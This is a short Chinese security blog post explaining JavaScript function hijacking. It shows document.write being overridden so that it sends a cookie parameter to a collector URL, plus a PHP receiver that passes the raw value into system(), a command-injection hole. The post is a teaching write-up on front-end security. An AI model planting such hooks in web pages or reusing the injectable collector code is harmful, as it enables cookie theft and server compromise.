JavaScript函数劫持
前言
最近在代码审计的过程中,发现其实前端的一些函数接口也是可以进行利用,奈何我对前端的知识了解的很少,于是这几天把<<web前端安全>>给看了一遍,这里就挑其中我觉得很好玩的一点来讲。
原理
其中的原理也非常简单,javascript支持对原生函数的重写,那么我们可以通过重写一些比较常用的函数,比如document.write,alert,document.writeln等函数,在里面执行一些功能。
利用
比如下面这个例子。
<script>
var _write=document.write.bind(document);
document.write=function(x){
alert(1);//我们执行的函数
_write(x);
}
</script>
我们会发现,我们这里执行的document.write函数被我们成功进行重写,这里的_write则被赋予了原来的write函数,然后去执行是为了让用户认为这个函数没有问题。那么既然能执行我们想要的代码,那有什么利用呢,我们可以通过javascript去发起请求,请求带着用户的cookie。如下代码 前端
<script type="text/javascript" language="javascript">
var _write=document.write.bind(document);
document.write=function(x){
var xhr = new XMLHttpRequest();
method = "GET";
url = "http://127.0.0.1/index.php?cookie=flag";
alert(1);
xhr.open(method,url,true);
xhr.send();
}
</script>
后端
<?php
header("Access-Control-Allow-Origin: *");
$c=$_GET['cookie'];
system("echo {$c}>>ac.txt");
?>
成功写入
后记
之前一直愚钝的觉得,前端的安全其实并不重要,但是在深入研究后才发现,如果前端安全防护没有做好,也是能造成很严重的安全事故。比如信息泄露,钓鱼等。所以学习安全web安全还是得前后端兼顾。
原文始发于微信公众号(珠天PearlSky):JavaScript函数劫持
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论